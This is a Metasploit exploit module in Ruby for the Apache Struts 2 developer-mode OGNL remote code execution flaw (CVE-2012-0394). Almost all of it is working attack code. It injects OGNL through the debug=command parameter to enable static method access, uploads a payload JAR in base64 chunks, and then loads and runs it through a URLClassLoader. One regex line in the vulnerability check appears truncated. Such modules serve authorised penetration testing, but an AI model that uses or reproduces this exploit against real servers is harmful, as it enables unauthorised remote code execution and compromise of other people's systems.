| 
	 
    
require 'msf/core' 
   
class Metasploit3 < Msf::Exploit::Remote  
  Rank = ExcellentRanking  
   
  include Msf::Exploit::Remote::HttpClient  
  include Msf::Exploit::FileDropper  
   
  def initialize(info = {})  
    super(update_info(info,  
      'Name'           => 'Apache Struts Developer Mode OGNL Execution',  
      'Description'    => %q{  
        This module exploits a remote command execution vulnerability in Apache  
        Struts 2. The problem exists on applications running in developer mode,  
        where the DebuggingInterceptor allows evaluation and execution of OGNL 
        expressions, which allows remote attackers to execute arbitrary Java  
        code. This module has been tested successfully in Struts 2.3.16, Tomcat  
        7 and Ubuntu 10.04.  
      },  
      'Author'         =>  
        [  
          'Johannes Dahse',  
          'Andreas Nusser',  
          'Alvaro',          
          'juan vazquez'     
        ],  
      'License'        => MSF_LICENSE,  
      'References'     =>  
        [  
          [ 'CVE', '2012-0394'],  
          [ 'OSVDB', '78276'],  
          [ 'EDB', '18329'],  
        ],  
      'Platform'       => 'java',  
      'Arch'           => ARCH_JAVA,  
      'Targets'        =>  
        [  
          [ 'Struts 2', { } ]  
        ],  
      'DisclosureDate' => 'Jan 06 2012',  
      'DefaultTarget' => 0))  
   
      register_options(  
        [  
          Opt::RPORT(8080),  
          OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"])  
        ], self.class)  
  end 
   
  def check  
    vprint_status("Testing to see if the target can evaluate our Java code...")  
    addend_one = rand_text_numeric(rand(3) + 1).to_i  
    addend_two = rand_text_numeric(rand(3) + 1).to_i  
    sum = addend_one + addend_two  
   
    res = execute_command("new java.lang.Integer(#{addend_one}+#{addend_two})")  
   
    if res and res.code == 200 and res.body.to_i == sum  
      return Exploit::CheckCode::Vulnerable  
    end 
   
    if res and res.code == 200 and res.body.to_s =~ / 
      vprint_status("Code got evaluated. Target seems vulnerable, but the response contains something else:")  
      vprint_line(res.body.to_s)  
      return Exploit::CheckCode::Appears  
    end 
   
    return CheckCode::Safe  
  end 
   
  def exploit  
    @payload_jar = rand_text_alphanumeric(4+rand(4)) + ".jar" 
   
    upload_jar  
    execute_jar  
  end 
   
  def upload_jar  
    append = 'false' 
    jar = payload.encoded_jar.pack  
    chunk_length = 384  
   
    while(jar.length > chunk_length)  
      java_upload_part(jar[0, chunk_length], @payload_jar, append)  
      jar = jar[chunk_length, jar.length - chunk_length]  
      append='true' 
    end 
    java_upload_part(jar, @payload_jar, append)  
  end 
   
  def java_upload_part(part, filename, append = 'false')  
    cmd = "#f=new java.io.FileOutputStream('#{filename}',#{append})," 
    cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}'))," 
    cmd << "#f.close()" 
    execute_command(cmd)  
  end 
   
  def execute_jar  
    cmd = "" 
     
    cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked')," 
    cmd << "#q.setAccessible(true),#q.set(null,true)," 
    cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15')," 
    cmd << "#q.setAccessible(true),#q.set(null,false)," 
     
    cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_jar}').toURI().toURL()})," 
     
    cmd << "#c=#cl.loadClass('metasploit.Payload')," 
     
    cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke(" 
    cmd << "null,new java.lang.Object[]{new java.lang.String[0]})" 
    execute_command(cmd)  
  end 
   
  def execute_command(cmd)  
    injection = "#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),CMD" 
    injection.gsub!(/CMD/, cmd)  
   
    vprint_status("Attempting to execute: #{cmd}")  
   
    res = send_request_cgi({  
      'uri'      => normalize_uri(target_uri.path.to_s),  
      'method'   => 'GET',  
      'vars_get' =>  
        {  
          'debug' => 'command',  
          'expression' => injection  
        }  
    })  
   
    return res  
  end 
   
   
end
  
	
  |